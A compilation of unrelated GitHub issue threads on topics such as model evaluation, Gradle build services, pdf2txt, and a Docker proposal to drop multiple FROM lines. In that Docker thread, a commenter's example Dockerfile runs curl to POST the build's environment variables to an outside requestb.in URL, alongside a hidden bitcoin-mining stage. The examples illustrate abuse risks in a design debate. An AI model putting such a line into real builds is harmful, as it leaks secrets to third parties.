How to eval

Could you provide the specific step to eval？

Hi, how do you inference? Do you have the inference code? Thank you.

Could you provide the specific step to eval？

Hi, how do you inference? Do you have the inference code? Thank you.

Could you provide the specific step to eval？

Hi, how do you inference? Do you have the inference code? Thank you.

We can discuss the inference process via email at<EMAIL_ADDRESS>

I calculated the fidscore using the final checkpoints and got the Evaluation: FID_k: 644501734.3161 Evaluation: Dist_k: 1785.4556, Could you release the inference code.

Hi! Did you solve this problem? I got the similar result with you.

I calculated the fidscore using the final checkpoints and got the Evaluation: FID_k: 644501734.3161 Evaluation: Dist_k: 1785.4556, Could you release the inference code.

Hi!
I found that this issue may be caused by a bug in eval script in
'eval/features/aist_utils.py' line 130.
adapt that to
       v1 = (             positions[i + j][joint_idx]             - positions[i + j - 1][joint_idx]         ) / frame_timemay help .
By the way ,do u find the weights provided by the author or could please  you share your custom trained wights with me?  I want to evaluate but i dont have enough gpus

I calculated the fidscore using the final checkpoints and got the Evaluation: FID_k: 644501734.3161 Evaluation: Dist_k: 1785.4556, Could you release the inference code.

Hi! I found that this issue may be caused by a bug in eval script in 'eval/features/aist_utils.py' line 130.
adapt that to  v1 = ( positions[i + j][joint_idx] - positions[i + j - 1][joint_idx] ) / frame_timemay help .
By the way ,do u find the weights provided by the author or could please you share your custom trained wights with me? I want to evaluate but i dont have enough gpus

Fine. Give me your contact information.

I calculated the fidscore using the final checkpoints and got the Evaluation: FID_k: 644501734.3161 Evaluation: Dist_k: 1785.4556, Could you release the inference code.

Hi! I found that this issue may be caused by a bug in eval script in 'eval/features/aist_utils.py' line 130.
adapt that to  v1 = ( positions[i + j][joint_idx] - positions[i + j - 1][joint_idx] ) / frame_timemay help .
By the way ,do u find the weights provided by the author or could please you share your custom trained wights with me? I want to evaluate but i dont have enough gpus

Fine. Give me your contact method or you can contact me with<EMAIL_ADDRESS>
I sent email just now. Thank you for your generous sharing!

This is the final checkpoints trained with 4 V100 GPUs.https://drive.google.com/drive/folders/1EAJdGjIuelaoAsrBhX2WifrtaBDd3ErV?usp=drive_link

This is the final checkpoints trained with 4 V100 GPUs.https://drive.google.com/drive/folders/1EAJdGjIuelaoAsrBhX2WifrtaBDd3ErV?usp=drive_link

感谢您的分享！


[Admin] Fix broken link

Docs Build status updates of commit 9642fc2:
:white_check_mark: Validation status: passed

File
Status
Preview URL
Details

docs/outlook/testing-and-tips.md
:white_check_mark:Succeeded
View

For more details, please refer to the build report.
Note: Broken links written as relative paths are included in the above build report. For broken links written as absolute paths or external URLs, see the broken link report.
For any questions, please:Try searching the docs.microsoft.com contributor guidesPost your question in the Docs support channel


For people who don't put their project at $GOPATH

Not everyone puts their go project at $GOPATH, I put them at idea project directory. And not everyone wants to download dependencies twice.
Changes:

:  Not download dependencies to docker.

: Mount /Users/xx/go to docker
: Add go environment to docker, using -e "GOPATH=/go"
: Add a bool pramameter -env, which will add project directory to GOPATH if seted true.
Requirments:

Users must set their go environment
The first GOPATH will not be added. But fortunately, the first GOPATH is always "/usr/local/xxx" which doesn't include any dependencies.

Thanks for catching it!
The cache-dir was added to cache dependencies but was not allowing to specify a GOPATH due to the addition of the fyne-cross suffix.
I've fixed that behaviour and renamed the flag into gopath so your use case should possible with something like:
fyne-cross -gopath=$GOPATH ...
Could you please give a try and let me know if it fixes?


Exception thrown at 0x45F6BD5D in csgo.exe: 0xC0000005: Access violation reading location 0x00000000.

So recently I submitted an issue basicly saying that osiris crashed my game the moment I injected it and some guy recommended I attach a debugger to csgo to see what the issue was and this is what I got.

Download newest source, compile it

So recently I submitted an issue basicly saying that osiris crashed my game the moment I injected it and some guy recommended I attach a debugger to csgo to see what the issue was and this is what I got.

code issue. Make sure you are using the latest orisis, has all prerequisites installed, compile in release x86  using latest visual studio 2019


Clean several bad symbols

Add dash symbols
Add whitespace symbols
Add empty symbols

This change is

Can you please explain what the purpose of this PR is? Does it match a particular issue? There are no tests to show what you are trying to do.

I'm closing as this issue is infeasible for us to fix at this point (we need more information). Please re-open if you respond so we pick up on it.


Usage Instructions?

I'm interested in trying to use jshint2eslint, but there's no documentation or usage instructions....?

Sorry about that - I updated the README!
Note that this tool is somewhat incomplete (note the TODO's), and also potentially out of date for the current versions of jshint and eslint since I wrote it 10 months ago. That said, at the time I wrote it it worked well for most .jshintrc's found in the wild. If you encounter any issues with it feel free to file them.

Fixed by 830a134


Add max height + scroll to asset selector

@grod220 are you sure you weren't seeing this on an old commit? I fixed this a while back. Here's what it looks like for me:

(moving to blocked for now until that question is resolved)


[EXP] Enhance element instead of replace

What is the example you wish to see?
Hello, thanks plasmo team for your work in this project.
I am working on an extension in which I need to find some words in a webpage and highlight them. I checked the docs, and I am a little bit confused, so I need your help. For example, in this here, https://github.com/PlasmoHQ/examples/blob/main/with-content-scripts-ui/contents/plasmo-root-container.tsx is it possible to get the element with the id "itero" and apply some styling to it? Or I might need to append some more HTML to it. Is this possible?
Thanks for your time
Is there any context that might help us understand?
No response
Code of Conduct

[X] I agree to follow this project's Code of Conduct
[X] I checked the current issues for duplicate problems.

@unseen1980 ty for filing the issue!
The CSUI component actually receive the anchor object, which would include the element that it was mounted on.
On the other hand if you just need quick enhancement of element, you can use plain content script and direct DOM manipulation as well!

Thank you @louisgv, I ended up using plain content script which works well for my scenario. Thanks for the reply 👍


[hmac, rtl] Resolve lint warnings and TODOs for the V3 signoff

This PR contains two commits that

resolve two Verilator WIDTH warnings.
remove an obsolete TODO.

Thank you @rswarbrick for the review.

CHANGE AUTHORIZED: hw/ip/hmac/rtl/hmac.sv
CHANGE AUTHORIZED: hw/ip/hmac/rtl/hmac_core.sv
These changes have no functional impact and are related to the D3 signoff. This is fine.


Make index.html a static file

This should happen on initial build, so as long that the CSS and JS is not recompiled and re-generated, the main html file sent to the clients will not be passed via python processor.

AWS S3 should be used to cache the static files

I can contribute some Azure credit if it helps - instead
On Wed, Apr 22, 2015 at 10:56 AM, Daniel Hershcovich <
<EMAIL_ADDRESS>wrote:

AWS S3 should be used to cache the static files
—
Reply to this email directly or view it on GitHub
https://github.com/hasadna/anyway/issues/210#issuecomment-95067152.

Do you think it would be better? @daonb started on the s3
On Wed, Apr 22, 2015 at 11:11 AM robi-y<EMAIL_ADDRESS>wrote:

I can contribute some Azure credit if it helps - instead
On Wed, Apr 22, 2015 at 10:56 AM, Daniel Hershcovich <
<EMAIL_ADDRESS>wrote:

AWS S3 should be used to cache the static files
—
Reply to this email directly or view it on GitHub
https://github.com/hasadna/anyway/issues/210#issuecomment-95067152.

—
Reply to this email directly or view it on GitHub
https://github.com/hasadna/anyway/issues/210#issuecomment-95069325.

This brings a question: Do we need a server at all? can we just have static files served and be done with it?

We need a server for the dynamic data, no? The accident markers...
On Wed, Apr 22, 2015 at 11:35 AM benny daon<EMAIL_ADDRESS>wrote:

This brings a question: Do we need a server at all? can we just have
static files served and be done with it?
—
Reply to this email directly or view it on GitHub
https://github.com/hasadna/anyway/issues/210#issuecomment-95077114.

Have you thought about storing them in a mongodb?

Sounds like a plan, but for after the launch :)
On Wed, Apr 22, 2015 at 11:43 AM benny daon<EMAIL_ADDRESS>wrote:

Have you thought about storing them in a mongodb?
—
Reply to this email directly or view it on GitHub
https://github.com/hasadna/anyway/issues/210#issuecomment-95079344.

Do you mean accessing the db directly from the browser?
We need a server for stuff like disqus and facebook connectivity, and also server-side clustering.


Drop gratuitous sync.Once in google CAs.

This threads cmd.Context() into the constructor, and has it call the client constructor directly.  Previously the caller was already wrapped in a sync.Once, but not this is all called once from the command's Run method.
WIP until https://github.com/sigstore/fulcio/pull/257 merges.
Signed-off-by: Matt Moore<EMAIL_ADDRESS>Ticket Link
N/A
Release Note
NONE

cc @n3wscott


add support for system-wide go install

gvm is great for managing user-specific or version-specific install of go, but doesn't support management of the system's version of go (used by default if a user hasn't installed gvm).
to simplify deployment and use of go apps to app-specific VMs or docker containers, where multiple versions likely aren't necessary, it would be nice to be able to install / manage the system version of go (/usr/bin/go). this would also allow a great cross-platform method of installing go, as no OS-specific packages are supported (rpm, apt/deb, etc.).

+1, the current per-user install is not at all dev-ops friendly.

+1

+1

If running on Ubuntu, we moved to godeb regarding the Docker scenario:
RUN wget https://godeb.s3.amazonaws.com/godeb-amd64.tar.gz && tar -xvzf godeb-amd64.tar.gz && rm -f godeb-amd64.tar.gz
RUN ./godeb install 1.11.4

Hopefully it helps someone ✌


[Medium][LandingPage+Server] Indicate to user how many requests they have left

** Requires server access **
Is this request related to a problem? Please describe.
Reported by jyo in Discord.
We should indicate to the user how many requests they have left out of the 1000 monthly limit.
In the future, we should also allow user to add more if they reach their limit.
Describe the solution you'd like
Frontend
On the landing page's settings' page, in the Usage section, simply indicate "X/1000 requests used".
Backend
Make an endpoint that checks our Redis and retrieves how many requests the user has used so far and returns to the front end.

I can work on this 🙋♂

Still need help for backend side!

Frontend ready. Need help with backend @Fryingpannn

Backend
Make an endpoint that checks our Redis and retrieves how many requests the user has used so far and returns to the front end.


pdf2txt error in command line cannot match the files argument

#164 This issue still remains unresolved on Win10 - python 3.7.1
Has someone found a solution yet?

Try replacing file() function with open() and write output file in bytes with 'wb'.

it always says required argument files
I am using this syntax
pdf2txt.py "D:\test.pdf"
also tried
pdf2txt.py -c utf-8 "D:\test.pdf"

Getting error even after the above mentioned changes?

Yes, it runs from administrative power shell but not from command prompt on windows

C:\Users\Ayesha>pdf2txt.py D:/test.pdf
usage: pdf2txt.py [-h] [--debug] [--disable-caching] [--page-numbers PAGE_NUMBERS [PAGE_NUMBERS ...]]
[--pagenos PAGENOS] [--maxpages MAXPAGES] [--password PASSWORD] [--rotation ROTATION]
[--no-laparams] [--detect-vertical] [--char-margin CHAR_MARGIN] [--word-margin WORD_MARGIN]
[--line-margin LINE_MARGIN] [--boxes-flow BOXES_FLOW] [--all-texts] [--outfile OUTFILE]
[--output_type OUTPUT_TYPE] [--codec CODEC] [--output-dir OUTPUT_DIR] [--layoutmode LAYOUTMODE]
[--scale SCALE] [--strip-control]
files [files ...]
pdf2txt.py: error: the following arguments are required: files

Power Shell Output
PS D:\EducAtiOn\Thesis\Tasks\2\Parsr> pdf2txt.py D:/simple1.pdf
Hello
World
Hello
World
H e l l o
W o r l d
H e l l o
W o r l d

It is strange but what do

sorry I'm unaware of what might be happening in such case :(

It is strange but what do

sorry I'm unaware of what might be happening in such case :(


Split Cols - date histogram - interval is not sorted correctly

Hi,
we found a bug (attached image), where 0 values for the first row are shifted to end and also empty results are missed.

Kibana version (7.5.2) and plugin version (master branch - 1.7.0)
Tony

We are also facing the same issue. Any pointers on how to fix this?

Hi,
Here's a tip to fix the issue:

in "date histogram" bucket, click on "Advanced", and fill this:
{"min_doc_count":0}

It works! Thank you :)

As question is answered, I close the issue.


Build services can only be registered if the set of applied plugins is the same on all projects

Expected Behavior
Given a build service:
import org.gradle.api.services.BuildService
import org.gradle.api.services.BuildServiceParameters

abstract class MyService implements BuildService<BuildServiceParameters.None> {
}

a plugin which registers the build service:
def myService = gradle.sharedServices.registerIfAbsent("test", MyService) {
   maxParallelUsages.set(1)
}

and a task which uses the build service:
abstract class MyTask extends DefaultTask {
   @Internal
   abstract Property<MyService> getService()

   @TaskAction
   void execute() {
       println(service.get())
   }
}

tasks.register("hello", MyTask) {
   service.set(myService)
}

then the build service should be registered in any case.
Current Behavior
Build service registration fails in multi-project builds, if the projects using the build service have a different set of plugins applied:
* What went wrong:
A problem occurred configuring project ':lib'.
> Could not create task ':lib:hello'.
   > Cannot set the value of task ':lib:hello' property 'service' of type MyService using a provider of type MyService.

The error is confusing, but hints at a classloading issue: the services seem to be cached by classloader, which is by set of applied plugins. Therefore there are 2 different instances of the MyService class.
Context
Initially reported at https://github.com/graalvm/native-build-tools/issues/70
Steps to Reproduce
Using the attached project attached project, cd into consumer then run: ./gradlew hello
Now edit lib/build.gradle and comment out the jmh plugin. Now both projects core and lib have the same set of plugins. Run ./gradlew hello again and see the build pass.
Your Environment
Build scan URL: https://scans.gradle.com/s/fjgx3mlcahdfu
JMH plugin commented out: https://scans.gradle.com/s/nj3oohuwdyx2q

Workaround is to use a Provider<Object> on the task side.

@gradle/configuration-cache Could you take a look at this one?

@gradle/bt-configuration-cache I encountered this earlier today and used the workaround from @melix which worked well. Now encountering something that looks the same, but for Extension objects:
Extension of type 'AwsDevCredentialsExtension' does not exist. Currently registered extension types: [..., AwsDevCredentialsExtension, ...]

Hi team! Do you plan to investigate this one? It is quite problematic as a "well designed" plugin can be facing this issue independently in a multi-project build, so testing wouldn't highlight the problem.

@melix if you add the plugin to the root build.gradle with apply: false does it workaround the issue?
i.e. in the build.gradle for the root project (parent of core and lib):
plugins {
    id 'my.plugin' apply 'false'
}

@Sineaggi This ticket is that place at this time, afaik.

Ping, we're seeing more users report this issue, it's rather annoying.

We're seeing this as well.

Ping, we're seeing more users report this issue, it's rather annoying.

In my case, I think it's because of having it part of start.spring.io since I only knew about it through there and it's their first dependency option.

The other workaround is to move the plugins to buildSrc, but it's kind of complicated because basically it requires changing all the generated projects, and it's not strictly equivalent...

Another occurrence: https://github.com/micronaut-projects/micronaut-gradle-plugin/issues/706
This is an extremely annoying bug.

I ran across this as well when using https://github.com/vanniktech/gradle-maven-publish-plugin in a multi-project build:
Could not create task ':gradle-bsp-server:dropRepository'.
Cannot set the value of task ':gradle-bsp-server:dropRepository' property 'buildService' of type com.vanniktech.maven.publish.sonatype.SonatypeRepositoryBuildService using a provider of type com.vanniktech.maven.publish.sonatype.SonatypeRepositoryBuildService.

Same issue here https://github.com/Triple-T/gradle-play-publisher/issues/1053
Are there any known workarounds?

Same issue here Triple-T/gradle-play-publisher#1053
Are there any known workarounds?

Yeah - just read the issue, they are mentioned above.

In order to start using Gradle's config caching feature we need to move to a recent version of gradle-docker-plugin, but that does not work in multi-project setup gradle-docker-plugin/1123 due to GRADLE-17559.
Would anybody have an ETA? We would love to use config caching.

In order to start using Gradle's config caching feature we need to move to a recent version of gradle-docker-plugin, but that does not work in multi-project setup gradle-docker-plugin/1123 due to GRADLE-17559.
Would anybody have an ETA? We would love to use config caching.

Does the solution mentioned in gradle-docker-plugin work for you? https://github.com/bmuschko/gradle-docker-plugin/issues/1123#issuecomment-1358570003

Thank you very much for getting back on this, @Sineaggi !
The docker plugin is not directly applied in our Gradle project scripts. Due to product/build size our Gradle sub-projects are using standardized scripts. E.g. any project producing docker images uses apply from: "$rootDir/gradle/docker.gradle"  . It is this docker.gradle, which applies the docker plugin via
buildscript {
    dependencies { classpath 'com.bmuschko:gradle-docker-plugin:9.3.2' }
}
...
apply plugin: com.bmuschko.gradle.docker.DockerRemoteApiPlugin

The problem for us with the above mentioned work-around is that plugins section is not allowed in scripts. It causes Only Project and Settings build scripts can contain plugins {} blocks.
So my understanding is that we only have three options

restructure overall build in all our repos (not an option, as we need standardisation)
convert docker.gradle into a binary plugin (unlikely that we will get funding for such refactoring (across dozens of repos) plus having a binary plugin makes change process harder.)
wait for this bug to be addressed (obviously our preferred option :-) )

Can you see any other options? or is there some veeeery rough ETA?

@melix if you add the plugin to the root build.gradle with apply: false does it workaround the issue?
i.e. in the build.gradle for the root project (parent of core and lib):
plugins {
    id 'my.plugin' apply false
}

I can confirm that adding all my plugins to the root build.gradle with apply: false works around the issue in my own project.

There's not a single week where I'm not pinged about this bug. Can this be prioritized, please :pray:
Cannot set the value of task ':oci:collectReachabilityMetadata' property 'metadataService' of type org.graalvm.buildtools.gradle.internal.GraalVMReachabilityMetadataService using a provider of type org.graalvm.buildtools.gradle.internal.GraalVMReachabilityMetadataService.

As a workaround if you make your service return serializable objects you can use reflection combined with serializing/deserializing to get around class cast exceptions.
service = new MyServiceCrossClassLoaderDelegate(serviceProvider.get())
static class MyServiceCrossClassLoaderDelegate {
    private BuildService<?> delegate;

    public MyServiceCrossClassLoaderDelegate(BuildService<?> delegate) {
        this.delegate = delegate;
    }

    public MyUploadResponse upload(String repoKey, String itemPath, Object file, Map<String, Object> properties) {
        return castAcrossClassLoaders(delegate.class.getMethod("upload", String.class, String.class, Object.class, Map.class)
            .invoke(delegate, repoKey, itemPath, file, properties), MyUploadResponse.class);
    }
}

    /**
     * Converts a Serializable object from the class of one classloader to the same class of another classloader.
     *

     * Classes using this should set the serialVersionUID and modify it when the definition changes to detect missmatches.
     *

     * Important: Classes should be data classes. Do not attempt to serialize classes that reference Gradle or other
     * external libraries or classloading nightmares may happen. Transient fields will be lost.
     *
     * @param <T>
     * @param obj   the object from classloader A
     * @param clazz the class to cast to from classloader B
     * @return the cast object
     */
    public static <T extends Serializable> T castAcrossClassLoaders(Object obj, Class<T> clazz) {
        if (obj == null) {
            return null;
        }

        Class<?> objClazz = obj.getClass();

        if (objClazz == clazz) {
            // No need to cast the class was loaded by the same classloader

            return clazz.cast(obj);
        }

        if (objClazz.getName() != clazz.getName()) {
            throw new IllegalArgumentException("Unable to perform cross-classloader casting. Class '" + objClazz.getName() + "' is not the same as '" + clazz.getName() + "'");
        }

        ByteArrayOutputStream baos = new ByteArrayOutputStream();

        try (ObjectOutputStream it = new ObjectOutputStream(baos)) {
            it.writeObject(obj);
        } catch (Exception e) {
            throw new RuntimeException(e);
        }

        Object result = null;
        try (ObjectInputStream it = new ObjectInputStream(new ByteArrayInputStream(baos.toByteArray()))) {
            result = it.readObject();
        } catch (Exception e) {
            throw new RuntimeException(e);
        }

        return clazz.cast(result);
    }

I'm running into this issue as well, when writing a custom plugin that delegates to another one that has a BuildService.
This was very tricky to diagnose and identify, and we may wind up going with either a pattern of maintaining the same order for our plugins or requiring downstream consumers to supply the plugin, which defeats the purpose of mine.
For those of us who are consumers of plugins with Providers that have a reified type, how can we move forward?   There's no guarantee that any of those tasks or values would be serializable so I can't move them between classloaders with any safety.

If sharing the service between subprojects is not mandatory and have an instance per project is acceptable, one can prefix the service name with the project name when registering:
class MyPlugin: Plugin<Project> {
    override fun apply(project: Project) {
        val downloadClientProvider = project.gradle.sharedServices.registerIfAbsent("${project.name}_${DownloadClient.SERVICE_NAME}", DownloadClient::class.java)
        project.tasks.register("download", Download::class.java) { task ->
            task.downloadClient.set(downloadClientProvider)
            task.usesService(downloadClientProvider)
        }
    }
}

@tamaracha the whole purpose of a "shared build service" is to share state between all projects in a build. What you've proposed is functionally just a project extension.

Actually, it would be nice to have something like this "shared build service" to share state within a single project. The docs aren't clear at all about how to do that. DSL extensions (if you mean them) are user-facing, and do not feel like the right place where to put implementation details.

Why shouldn't there be a general  DI-usable custom service concept where the scope can be selected (build-wide singletons, project-wide singletons, instances)?

Actually, it would be nice to have something like this "shared build service" to share state within a single project. The docs aren't clear at all about how to do that. DSL extensions (if you mean them) are user-facing, and do not feel like the right place where to put implementation details.

A plugin is applied to a project, so instantiating the class via constructor is enough as it will not be shared between projects.
Anyway, that is out scope of this issue, as build services are created to share the state between multiple projects that are using your plugin.

That sounds like the scope of this issue:

https://github.com/gradle/gradle/issues/25616


fix broken path for translation svg flags

The flags icons were not showing because the assets path is wrong.
Before

After

I see that you updated file names. But is it necessary to add nan package?


Image for "The Bigger Star" is broken

Describe the bug
Image for "The Bigger Star" is broken
Steps to reproduce the behavior
1.Navigate to https://arcade.makecode.com/--skillmap#star
2.Click on The Bigger Star
Actual behavior
Image for "The Bigger Star" is broken

Additional context
1.OS: Windows10
2.arcade version: 1.8.6
3.Microsoft MakeCode version: 7.4.14

Found the problem and fixed in the next PR!


Added Suggested Background Reading for Ch 5 PoS

Vlad Zamfir five-part History of Casper could be helpful background reading for chapter 5 of Course Overview

Awesome! Merging :)


Link for voting on images

Whenever an image is uploaded via any image uploading command (random, upload, etc.) a link should be provided that users can click on. When this link is clicked on the user casts a vote (either up or down).
Some further improvements to this would be to add in registration so users can't add dupe votes. This will likely be tied to the website for moebot.

This has been modified so that users can vote via reactions directly in discord


Got ResourceExhaustedError: OOM when allocating tensor with shape[10,90,120,64]

Can you share your computer configuration to train this model? I got ResourceExhaustedError on my computers (one equipped with GeForce 1080T and the other is M1000M) when I run:
python train_enet.py --weighting="MFB" --num_epochs=300 --logdir="./log/train_original_MFB"
the error is:
ResourceExhaustedError (see above for traceback): OOM when allocating tensor with shape[10,90,120,64]
[[Node: ENet/bottleneck1_2_batch_norm3/FusedBatchNorm = FusedBatchNorm[T=DT_FLOAT, data_format="NHWC", epsilon=0.001, is_training=true, _device="/job:localhost/replica:0/task:0/device:GPU:0"](ENet/bottleneck1_2_conv3/BiasAdd, ENet/bottleneck4_0_batch_norm4/Const, ENet/bottleneck1_2_batch_norm3/beta/read, ENet/bottleneck5_0_batch_norm2/Const_1, ENet/bottleneck5_0_batch_norm2/Const_1)]]
[[Node: mean_iou/confusion_matrix/assert_less_1/Assert/AssertGuard/Assert/Switch/_5649 = _Recvclient_terminated=false, recv_device="/job:localhost/replica:0/task:0/device:CPU:0", send_device="/job:localhost/replica:0/task:0/device:GPU:0", send_device_incarnation=1, tensor_name="edge_6549_mean_iou/confusion_matrix/assert_less_1/Assert/AssertGuard/Assert/Switch", tensor_type=DT_BOOL, _device="/job:localhost/replica:0/task:0/device:CPU:0"]]
Thanks a lot,
BRS, Dell

I can run the train_net with batch size 1. So it could be my HW issue. Close the issue. Sorry for confusing.


Proposal: remove support for multiple FROMs in Dockerfile

See https://github.com/docker/docker/issues/5603 for some history.
Allowing for multiple images to be built from a single Dockerfile (via multiple FROM commands), while interesting, isn't fully supported. In particular, the non-final images that are produced are not easily found w/o some ugly parsing of the build output.  It would then also leads to people wanting to do things like add TAG commands to tag each image so they're easily used/found.
I think there are two options:

complete the "multiple FROM" support we have by making it easier for people to find/use those intermediate images.
remove support for multiple FROMs until we figure out exactly how people are supposed to use it.

This issue is to get the conversation started and to propose option 2 - remove it.
Question: are people using this feature today and if so what are the usecases for it?

I am not using this feature in production and believe it should be dropped. As a devil's advocate, here are some places I see it being (ab)used:
=Bitcoin tipping
# Donate 2 minutes of CPU cycles toward mining bitcoins for ewindisch
FROM ewindisch/bitcoin-tipping-image
# We now return you to your program...
FROM ubuntu:utopic

=Logging / reporting
FROM buildpack-deps:curl
RUN curl -X POST -d "$(env)" http://requestb.in/x2fgrbx2
FROM ubuntu:utopic

=Multi-stage building
# NOTE: I did not build the following image and cannot attest to it's safety...
FROM cgswong/aws
ADD dot-aws /root/.aws
ADD src /src
WORKDIR /src
RUN go build main.go
RUN aws s3 cp . s3://mybucket/mybuild --recursive
FROM buildpack-deps
# This is all kinds of wrong? ;-)
RUN curl -O /usr/bin/main https://my-bucket-url/mybuild/main

Thanks for opening @duglin!

I can't help but think that we should find a better way to solve these usecases than to use FROM.
There are times when I think some kind of 'make' thing that sits on top of 'docker build' would be useful.  It would probably end up overlapping with Compose too much but perhaps nested builds are more what people want. Dunno, but it might be an interesting topic for a break-out session at DockerCon to see what the requirements are for these non-trivial builds.

Dunno, but it might be an interesting topic for a break-out session at DockerCon to see what the requirements are for these non-trivial builds.

Actually, good idea. I think there are various feature requests that could benefit from a good discussion to see what users are looking for, use-cases etc. Not all users are active on GitHub and it would help the maintainers making better choices (instead of "guessing" what would be useful in some cases). (Won't be there myself :/ ... Skype call? :))

@duglin @thaJeztah there have been some discussions about doing the dockerfile parsing on the client-side and using the client to drive the build. /cc @shykes

If we do remove multiple FROMs, does that reduce the need for the MARK/SQUASH stuff in #12198 ? By that I mean, I know people will still want to squash stuff but if we limit you to one image per Dockerfile, will just an operation at the docker cmd level (on images) be sufficient ?

@duglin like the original "squash" implementation? https://github.com/docker/docker/pull/4232 (Oh, according to https://github.com/docker/docker/pull/4232#issuecomment-59581289 we don't need a squash :))

oh wow - so much history  :-)

@duglin
Multiple FROMs enable the separation of build-time and run-time concerns.  Essentially, build tool chains are performed within the context of one or more FROM statements producing either intermediate artifacts, to be further processed by other FROM statements, or final products.  At the termination of a build-time FROM, the initial build context is extended to include its intermediate or final products, so that they are available to the next FROM context.  Eventually, the last FROM, the one that doesn't extend the build context, simply contains a single ADD operation to produce the entire file system and any other Dockerfile commands like ENV, EXPOSE, or ENTRYPOINT needed to configure the run-time image.  This process generates the smallest sized run-time image with the minimal number of layers and preserves the potentially highly layered build-time image cache, to improve subsequent build performance, especially if cache misses are isolated to only a specific FROM.
There are two open Proposals that detail how to achieve the above with two mechanisms:

#12415 : Extends the uploaded build context with intermediate files, like compiled executables, from committed build-time containers.   It essentially bind mounts one or more directories within a committed container, generated when running the build, to the root directory of the build context.

#12072 : Maps, in a read only way, the directory structure of the build context to present a virtual directory structure that corresponds to the one required by a given FROM statement. Think of it as creating a directory structure comprised entirely of symbolic links that conforms to what's needed by FROM and its associated Dockerfile commands.  It's also similar to a SQL SELECT/CREATE VIEW in that you can partition/rearrange the build context directory structure, including its files, to reflect any desired 'shape'.

Read #12415 TLDR  and view its Example, as it concisely demonstrates both mechanisms.
If the above mechanisms were implemented, FROM statements would no longer be executed sequentially but instead ordered by their dependencies, very much like a makefile.

@WhisperingChaos but none of what you're talking about can be done today - and that's my point. Unless we take on the task of making the use of FROM actually useful (perhaps with some of the proposals you mentioned) then we might as well remove it.  So, this issue is to force the discussion - either we "fix" it so that multiple FROMs can be useful or we drop it.  But leaving a 1/2 implemented feature that doesn't seem to do much good seems silly.

@duglin

none of what you're talking about can be done today

Agree, but I'm suggesting that multiple FROM support be continued and enhanced as per the first option stated in the initial post:

I think there are two options:

complete the "multiple FROM" support we have by making it easier for people to find/use those intermediate images.

My initial reply not only presents the reasoning to support multiple FROMs but also suggests mechanisms to realize its benefits.  BTW, the mechanisms presented in the referenced proposals aren't new, like extending the build context, as it appears in Nested Build #7149.  They've just been repackaged in a manner to avoid, in the instance of Nested Build, harmful coupling.

@duglin

If we do remove multiple FROMs, does that reduce the need for the MARK/SQUASH stuff in #12198

Nope.
For example, using a single FROM to build a golang app using the [google/golang-runtime] (https://registry.hub.docker.com/u/google/golang-runtime/dockerfile/) as a base image will include the golang tool chain, and the entire build context: go source files, the Dockerfile... including them as various layers in the resultant image.  The entire tool chain, Dockerfile, and go source files... are completely unnecessary.  All that's required is the compiled executable and perhaps a couple libraries.  This behavior isn't specific to google/golang-runtime.
In fact, enhancing/extending multiple FROMs would eliminate the need for MARK/SQUASH, as the tool chain would exist and execute within the environment of a build-time FROM, preserving the semantics of the cache, with the resultant files simply copied as a single layer to a second FROM representing the resultant run-time image.

@ewindisch
Although I agree removing multiple FROM support would require some additional effort to encode the [exploits] (https://github.com/docker/docker/issues/13026#issuecomment-99580691), it wouldn't eliminate them.   One could introduce a script executed by a RUN command to implement these exploits, as they rely on access to the Dockerfile.
In fact, it would be less noticeable to use a single FROM whose specified image included a compromised FROM in its construction.

@duglin Why?:

I can't help but think that we should find a better way to solve these usecases than to use FROM.

There are times when I think some kind of 'make' thing that sits on top of 'docker build' would be useful. ...

Well, the bitcoin one seems like a curl would work just as well (if I'm
understanding what's going on). And the logging one is just curl too so
why use FROM at all?
The multi-stage building, or the ability to generate multiple images
per Dockerfile, is the only usecase for multiple FROM that makes any sense
to me. Which is the point of this issue.  Unless there's the desire to
turn a Dockerfile more into a Makefile where it can be used to fully
describe how to create multiple images (which, btw I would like), then
I think we should reduce things down to the model of single Dockerfile
makes a single image, but then provide some tooling to sit on top to
manage the mutli-image need. Compose might help here, but I'm not sure
its a perfect fit (yet).

Well, the bitcoin one seems like a curl would work just as well (if I'm
understanding what's going on). And the logging one is just curl too so
why use FROM at all?

I would not support these use cases, but FROM in these situations helps to simplify the coding through encapsulation and its contents don't pollute the other FROM.

The multi-stage building, or the ability to generate multiple images
per Dockerfile, is the only usecase for multiple FROM that makes any sense
to me.

Agree.

...Dockerfile more into a Makefile where it can be used to fully
describe how to create multiple images (which, btw I would like),..

That's my intent too.

I think we should reduce things down to the model of single Dockerfile
makes a single image, but then provide some tooling to sit on top to
manage the mutli-image need.

What tooling would be necessary?
Why would the solution be dependent on Compose?
Although Compose will permit you to build an image from a Dockerfile, it primarily establishes 'run-time' properties of the built image.  Therefore, I'm struggling to understand how Compose would generate a multi-stage build for a single image?
I didn't notice a means of specifying static build-time image dependencies.  For example, suppose a  service named 'client' inherits its definition from 'service'.  How does Compose 'build' know to construct the 'service' first, then the 'client'?
It might be problematic for docker build to rely on a component, like Compose that might not be installed, or whose implementation differs from Docker's version of  Compose.   In other words, should docker build's functionality be fully encapsulated within itself in order to cleanly support Docker's stated goal of a 'pluggable' infrastructure?

@WhisperingChaos I agree on the compose stuff, and that was sort of my point. I think, right now, the closest thing we have to tooling that sits on top of vanilla Docker that even comes close to dealing with multiple images is Compose.  But that's even not that close.
re: other tooling... well, I think tooling to help do things like squash images to remove layers.  Or tooling to help build one image while in the middle of building another (nested builds).  That kind of stuff.  A lot of this just depends on what Docker is meant to be - just a single unit (building block) in a bigger puzzle or should it try to do more.  Its a fine line, but right now I'm leaning more towards it doing more since I'm convinced (for now) that higher-level tooling to do some of these things will make the UX too complicated and less seamless.

@duglin

re: other tooling... well, I think tooling to help do things like squash images to remove layers.

Why is squash necessary?
I would suggest that Squash is unnecessary if:

running tool chains, etc... can be isolated to a build-time container,
and an addressibility mechanism permits build-time container artifacts to be transferred to intermediate build-time images and the resultant run-time image,
and a mechanism allows the formulation of the resultant file system, projected as the final build context for the resultant image.

Given these conditions, the resultant file system can be minimally copied as a single ADD . / for any image.   However, when desired, the resultant file system could also consist of more than one layer.  For example, the resultant image could be constructed by inheriting a ubuntu image and then adding only the final artifacts from the build-time containers.  This would limit a pull request of the resultant image to only the added final artifact layer if the ubuntu image had already been downloaded.  Also, in this situation, build-time containers would associate themselves via a 'used by' relationship instead of an inheritance one.  'use by' image relationships would not be copied when pulling an image.

Or tooling to help build one image while in the middle of building another (nested builds).

The nested/chained build implementations: #7115, #7149,  and #8021 are problematic as discussed by these posts:

7149 -  lacks a complete interface element
7149 - entangled coupling creates artificial dependencies
7149 - propagates an existing vulnerability
